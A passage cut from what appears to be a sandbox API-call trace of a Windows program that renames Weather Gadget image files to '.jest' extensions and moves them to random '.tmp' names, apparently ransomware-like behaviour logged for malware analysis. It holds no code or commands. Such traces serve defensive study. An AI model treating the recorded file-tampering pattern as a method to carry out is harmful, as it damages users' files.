Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\41.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\41.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\41.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\41.png.jest")) returned 0 [0127.773] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\41.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\41.png", lpFilePart=0x18e6d8*="41.png") returned 0x4b [0127.773] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\41.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc32cf7d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc32cf7d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7ca65c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x57, dwReserved1=0x0, cFileName="41.png", cAlternateFileName="")) returned 0x143ce48 [0127.774] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.775] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.775] VarBstrFromR4 (in: fltIn=0x479445cf, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.62") returned 0x0 [0127.775] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.775] GetTickCount () returned 0x1152608 [0127.775] GetTickCount () returned 0x1152608 [0127.775] CoFreeUnusedLibraries () [0127.775] GetTickCount () returned 0x1152608 [0127.775] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.775] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.776] GetTickCount () returned 0x1152608 [0127.776] IsWindowVisible (hWnd=0x30268) returned 0 [0127.776] Sleep (dwMilliseconds=0x0) [0127.776] GetFullPathNameA (in: lpFileName="H2RE0XspMItaFJlfwA7663kDU4X0j-s96Eqd2wBWYTTT9wMdEa6GHVWf1fGyLuqYItDT-Z7EIwO-k7z30Fzi6CkxcuQYyWGNDYDo.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H2RE0XspMItaFJlfwA7663kDU4X0j-s96Eqd2wBWYTTT9wMdEa6GHVWf1fGyLuqYItDT-Z7EIwO-k7z30Fzi6CkxcuQYyWGNDYDo.tmp", lpFilePart=0x18e708*="H2RE0XspMItaFJlfwA7663kDU4X0j-s96Eqd2wBWYTTT9wMdEa6GHVWf1fGyLuqYItDT-Z7EIwO-k7z30Fzi6CkxcuQYyWGNDYDo.tmp") returned 0x8e [0127.777] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\41.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\41.png", lpFilePart=0x18e708*="41.png") returned 0x4b [0127.777] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\41.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\41.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H2RE0XspMItaFJlfwA7663kDU4X0j-s96Eqd2wBWYTTT9wMdEa6GHVWf1fGyLuqYItDT-Z7EIwO-k7z30Fzi6CkxcuQYyWGNDYDo.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\h2re0xspmitafjlfwa7663kdu4x0j-s96eqd2wbwyttt9wmdea6ghvwf1fgyluqyitdt-z7eiwo-k7z30fzi6ckxcuqyywgndydo.tmp")) returned 0 [0127.778] GetLastError () returned 0x5 [0127.779] GetLastError () returned 0x5 [0127.779] SetLastError (dwErrCode=0x5) [0127.779] GetLastError () returned 0x5 [0127.779] SetLastError (dwErrCode=0x5) [0127.779] GetLastError () returned 0x5 [0127.779] SetLastError (dwErrCode=0x5) [0127.779] GetFullPathNameA (in: lpFileName="H2RE0XspMItaFJlfwA7663kDU4X0j-s96Eqd2wBWYTTT9wMdEa6GHVWf1fGyLuqYItDT-Z7EIwO-k7z30Fzi6CkxcuQYyWGNDYDo.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H2RE0XspMItaFJlfwA7663kDU4X0j-s96Eqd2wBWYTTT9wMdEa6GHVWf1fGyLuqYItDT-Z7EIwO-k7z30Fzi6CkxcuQYyWGNDYDo.tmp", lpFilePart=0x18e6e4*="H2RE0XspMItaFJlfwA7663kDU4X0j-s96Eqd2wBWYTTT9wMdEa6GHVWf1fGyLuqYItDT-Z7EIwO-k7z30Fzi6CkxcuQYyWGNDYDo.tmp") returned 0x8e [0127.779] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H2RE0XspMItaFJlfwA7663kDU4X0j-s96Eqd2wBWYTTT9wMdEa6GHVWf1fGyLuqYItDT-Z7EIwO-k7z30Fzi6CkxcuQYyWGNDYDo.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x45523248, cFileName="0XspMItaFJlfwA7663kDU4X0j-s96Eqd2wBWYTTT9wMdEa6GHVWf1fGyLuqYItDT-Z7EIwO-k7z30Fzi6CkxcuQYyWGNDYDo.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.779] GetLastError () returned 0x2 [0127.779] GetLastError () returned 0x2 [0127.779] SetLastError (dwErrCode=0x2) [0127.779] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.779] GetTickCount () returned 0x1152608 [0127.779] GetTickCount () returned 0x1152608 [0127.779] CoFreeUnusedLibraries () [0127.780] GetTickCount () returned 0x1152608 [0127.780] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.780] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.780] GetTickCount () returned 0x1152608 [0127.780] IsWindowVisible (hWnd=0x30268) returned 0 [0127.780] Sleep (dwMilliseconds=0x0) [0127.781] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\16.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\16.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\16.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\16.png.jest")) returned 0 [0127.782] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\16.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\16.png", lpFilePart=0x18e6d8*="16.png") returned 0x4b [0127.783] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\16.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc0a582e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc0a582e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd6e5e1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x57, dwReserved1=0x0, cFileName="16.png", cAlternateFileName="")) returned 0x143ce48 [0127.783] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.784] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.785] VarBstrFromR4 (in: fltIn=0x479445cf, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.62") returned 0x0 [0127.785] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.785] GetTickCount () returned 0x1152608 [0127.785] GetTickCount () returned 0x1152608 [0127.785] CoFreeUnusedLibraries () [0127.785] GetTickCount () returned 0x1152608 [0127.785] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.785] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.785] GetTickCount () returned 0x1152608 [0127.785] IsWindowVisible (hWnd=0x30268) returned 0 [0127.785] Sleep (dwMilliseconds=0x0) [0127.786] GetFullPathNameA (in: lpFileName="DVzGBN7Kp-f1f9XrVwsShHVioz8BC6qla0UUPXvZYTRK3teETDUspsMqSb6TJFCitM5Y5pmlBKZMkL6zYph3SgNn UUdvMVERUo5.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DVzGBN7Kp-f1f9XrVwsShHVioz8BC6qla0UUPXvZYTRK3teETDUspsMqSb6TJFCitM5Y5pmlBKZMkL6zYph3SgNn UUdvMVERUo5.tmp", lpFilePart=0x18e708*="DVzGBN7Kp-f1f9XrVwsShHVioz8BC6qla0UUPXvZYTRK3teETDUspsMqSb6TJFCitM5Y5pmlBKZMkL6zYph3SgNn UUdvMVERUo5.tmp") returned 0x8e [0127.786] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\16.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\16.png", lpFilePart=0x18e708*="16.png") returned 0x4b [0127.786] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\16.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\16.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DVzGBN7Kp-f1f9XrVwsShHVioz8BC6qla0UUPXvZYTRK3teETDUspsMqSb6TJFCitM5Y5pmlBKZMkL6zYph3SgNn UUdvMVERUo5.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dvzgbn7kp-f1f9xrvwsshhvioz8bc6qla0uupxvzytrk3teetduspsmqsb6tjfcitm5y5pmlbkzmkl6zyph3sgnn uudvmveruo5.tmp")) returned 0 [0127.788] GetLastError () returned 0x5 [0127.788] GetLastError () returned 0x5 [0127.788] SetLastError (dwErrCode=0x5) [0127.788] GetLastError () returned 0x5 [0127.788] SetLastError (dwErrCode=0x5) [0127.788] GetLastError () returned 0x5 [0127.788] SetLastError (dwErrCode=0x5) [0127.788] GetFullPathNameA (in: lpFileName="DVzGBN7Kp-f1f9XrVwsShHVioz8BC6qla0UUPXvZYTRK3teETDUspsMqSb6TJFCitM5Y5pmlBKZMkL6zYph3SgNn UUdvMVERUo5.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DVzGBN7Kp-f1f9XrVwsShHVioz8BC6qla0UUPXvZYTRK3teETDUspsMqSb6TJFCitM5Y5pmlBKZMkL6zYph3SgNn UUdvMVERUo5.tmp", lpFilePart=0x18e6e4*="DVzGBN7Kp-f1f9XrVwsShHVioz8BC6qla0UUPXvZYTRK3teETDUspsMqSb6TJFCitM5Y5pmlBKZMkL6zYph3SgNn UUdvMVERUo5.tmp") returned 0x8e [0127.788] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DVzGBN7Kp-f1f9XrVwsShHVioz8BC6qla0UUPXvZYTRK3teETDUspsMqSb6TJFCitM5Y5pmlBKZMkL6zYph3SgNn UUdvMVERUo5.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x477a5644, cFileName="BN7Kp-f1f9XrVwsShHVioz8BC6qla0UUPXvZYTRK3teETDUspsMqSb6TJFCitM5Y5pmlBKZMkL6zYph3SgNn UUdvMVERUo5.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.789] GetLastError () returned 0x2 [0127.789] GetLastError () returned 0x2 [0127.789] SetLastError (dwErrCode=0x2) [0127.789] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.789] GetTickCount () returned 0x1152617 [0127.789] GetTickCount () returned 0x1152617 [0127.789] CoFreeUnusedLibraries () [0127.789] GetTickCount () returned 0x1152617 [0127.789] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.789] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.789] GetTickCount () returned 0x1152617 [0127.789] IsWindowVisible (hWnd=0x30268) returned 0 [0127.789] Sleep (dwMilliseconds=0x0) [0127.790] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\15.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\15.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\15.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\15.png.jest")) returned 0 [0127.791] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\15.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\15.png", lpFilePart=0x18e6d8*="15.png") returned 0x4b [0127.791] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\15.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc0a582e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc0a582e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd6e5e1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x57, dwReserved1=0x0, cFileName="15.png", cAlternateFileName="")) returned 0x143ce48 [0127.792] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.793] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.793] VarBstrFromR4 (in: fltIn=0x479445d1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.63") returned 0x0 [0127.793] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.793] GetTickCount () returned 0x1152617 [0127.793] GetTickCount () returned 0x1152617 [0127.793] CoFreeUnusedLibraries () [0127.793] GetTickCount () returned 0x1152617 [0127.794] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.794] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.794] GetTickCount () returned 0x1152617 [0127.794] IsWindowVisible (hWnd=0x30268) returned 0 [0127.794] Sleep (dwMilliseconds=0x0) [0127.795] GetFullPathNameA (in: lpFileName="PO7dbuOuQCDu956cQvGgc_Z0l_WZu_PnWdy5VCxbzS5rXJT9UxN_RJXoRUdcSBlhPqusi_JZSvcfEz6_QFXyBW3IQaoIY9Hpq2RjT.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PO7dbuOuQCDu956cQvGgc_Z0l_WZu_PnWdy5VCxbzS5rXJT9UxN_RJXoRUdcSBlhPqusi_JZSvcfEz6_QFXyBW3IQaoIY9Hpq2RjT.tmp", lpFilePart=0x18e708*="PO7dbuOuQCDu956cQvGgc_Z0l_WZu_PnWdy5VCxbzS5rXJT9UxN_RJXoRUdcSBlhPqusi_JZSvcfEz6_QFXyBW3IQaoIY9Hpq2RjT.tmp") returned 0x8f [0127.795] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\15.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\15.png", lpFilePart=0x18e708*="15.png") returned 0x4b [0127.795] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\15.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\15.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PO7dbuOuQCDu956cQvGgc_Z0l_WZu_PnWdy5VCxbzS5rXJT9UxN_RJXoRUdcSBlhPqusi_JZSvcfEz6_QFXyBW3IQaoIY9Hpq2RjT.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\po7dbuouqcdu956cqvggc_z0l_wzu_pnwdy5vcxbzs5rxjt9uxn_rjxorudcsblhpqusi_jzsvcfez6_qfxybw3iqaoiy9hpq2rjt.tmp")) returned 0 [0127.797] GetLastError () returned 0x5 [0127.797] GetLastError () returned 0x5 [0127.797] SetLastError (dwErrCode=0x5) [0127.797] GetLastError () returned 0x5 [0127.797] SetLastError (dwErrCode=0x5) [0127.797] GetLastError () returned 0x5 [0127.797] SetLastError (dwErrCode=0x5) [0127.797] GetFullPathNameA (in: lpFileName="PO7dbuOuQCDu956cQvGgc_Z0l_WZu_PnWdy5VCxbzS5rXJT9UxN_RJXoRUdcSBlhPqusi_JZSvcfEz6_QFXyBW3IQaoIY9Hpq2RjT.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PO7dbuOuQCDu956cQvGgc_Z0l_WZu_PnWdy5VCxbzS5rXJT9UxN_RJXoRUdcSBlhPqusi_JZSvcfEz6_QFXyBW3IQaoIY9Hpq2RjT.tmp", lpFilePart=0x18e6e4*="PO7dbuOuQCDu956cQvGgc_Z0l_WZu_PnWdy5VCxbzS5rXJT9UxN_RJXoRUdcSBlhPqusi_JZSvcfEz6_QFXyBW3IQaoIY9Hpq2RjT.tmp") returned 0x8f [0127.797] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PO7dbuOuQCDu956cQvGgc_Z0l_WZu_PnWdy5VCxbzS5rXJT9UxN_RJXoRUdcSBlhPqusi_JZSvcfEz6_QFXyBW3IQaoIY9Hpq2RjT.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x64374f50, cFileName="buOuQCDu956cQvGgc_Z0l_WZu_PnWdy5VCxbzS5rXJT9UxN_RJXoRUdcSBlhPqusi_JZSvcfEz6_QFXyBW3IQaoIY9Hpq2RjT.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.797] GetLastError () returned 0x2 [0127.797] GetLastError () returned 0x2 [0127.797] SetLastError (dwErrCode=0x2) [0127.797] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.797] GetTickCount () returned 0x1152617 [0127.797] CoFreeUnusedLibraries () [0127.798] GetTickCount () returned 0x1152617 [0127.798] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.798] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.798] GetTickCount () returned 0x1152617 [0127.798] IsWindowVisible (hWnd=0x30268) returned 0 [0127.798] Sleep (dwMilliseconds=0x0) [0127.798] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\14.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\14.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\14.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\14.png.jest")) returned 0 [0127.800] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\14.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\14.png", lpFilePart=0x18e6d8*="14.png") returned 0x4b [0127.800] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\14.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc07f6cf, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc07f6cf, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd6e5e1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x57, dwReserved1=0x0, cFileName="14.png", cAlternateFileName="")) returned 0x143ce48 [0127.801] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.801] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.802] VarBstrFromR4 (in: fltIn=0x479445d1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.63") returned 0x0 [0127.802] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.803] CoFreeUnusedLibraries () [0127.803] GetTickCount () returned 0x1152617 [0127.803] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.803] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.803] GetTickCount () returned 0x1152617 [0127.803] IsWindowVisible (hWnd=0x30268) returned 0 [0127.803] Sleep (dwMilliseconds=0x0) [0127.803] GetFullPathNameA (in: lpFileName="2BPMs2mbVOZru2w-Wm535xytUj0V_gm3qVViqYcE04Mbp8Lu lRiQUdoe2HIvougRixfS9wbw56-wPC5vbB4DFdFn5M7NKeEgnQm.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2BPMs2mbVOZru2w-Wm535xytUj0V_gm3qVViqYcE04Mbp8Lu lRiQUdoe2HIvougRixfS9wbw56-wPC5vbB4DFdFn5M7NKeEgnQm.tmp", lpFilePart=0x18e708*="2BPMs2mbVOZru2w-Wm535xytUj0V_gm3qVViqYcE04Mbp8Lu lRiQUdoe2HIvougRixfS9wbw56-wPC5vbB4DFdFn5M7NKeEgnQm.tmp") returned 0x8e [0127.804] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\14.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\14.png", lpFilePart=0x18e708*="14.png") returned 0x4b [0127.804] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\14.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\14.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2BPMs2mbVOZru2w-Wm535xytUj0V_gm3qVViqYcE04Mbp8Lu lRiQUdoe2HIvougRixfS9wbw56-wPC5vbB4DFdFn5M7NKeEgnQm.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2bpms2mbvozru2w-wm535xytuj0v_gm3qvviqyce04mbp8lu lriqudoe2hivougrixfs9wbw56-wpc5vbb4dfdfn5m7nkeegnqm.tmp")) returned 0 [0127.805] GetLastError () returned 0x5 [0127.805] GetLastError () returned 0x5 [0127.806] SetLastError (dwErrCode=0x5) [0127.806] GetLastError () returned 0x5 [0127.806] SetLastError (dwErrCode=0x5) [0127.806] GetLastError () returned 0x5 [0127.806] SetLastError (dwErrCode=0x5) [0127.806] GetFullPathNameA (in: lpFileName="2BPMs2mbVOZru2w-Wm535xytUj0V_gm3qVViqYcE04Mbp8Lu lRiQUdoe2HIvougRixfS9wbw56-wPC5vbB4DFdFn5M7NKeEgnQm.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2BPMs2mbVOZru2w-Wm535xytUj0V_gm3qVViqYcE04Mbp8Lu lRiQUdoe2HIvougRixfS9wbw56-wPC5vbB4DFdFn5M7NKeEgnQm.tmp", lpFilePart=0x18e6e4*="2BPMs2mbVOZru2w-Wm535xytUj0V_gm3qVViqYcE04Mbp8Lu 